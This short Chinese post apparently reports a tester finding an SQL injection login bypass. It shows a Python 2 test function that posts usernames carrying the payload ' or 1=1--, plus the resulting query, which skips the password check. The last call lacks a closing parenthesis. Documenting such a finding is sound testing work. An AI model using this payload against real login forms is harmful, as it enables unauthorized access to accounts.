7年来第1次，发现的sql绕过登录的问题

问题描述：
def pms_user_login(test_point,username,password):
    uri = host + '/user/login'
    password = hashlib.md5(password).hexdigest()
    url_body = urllib.urlencode({'name':username,'password':password})
    s,r = htp.request(uri, method = 'POST', body = url_body)
    content = json.loads(r)
    print test_point, content
    if content['errorCode'] != '':
        print content['failureDetails']
#pms_user_login('11','f_super\' or 1=1--\'','123456') 

pms_user_login('11','dfffrrrd\' or 1=1--\'','123456'

拼成的执行sql为：select * from pms_user where name='f_super' or 1=1--'' and password='e10adc3949ba59abbe56e057f20f883e'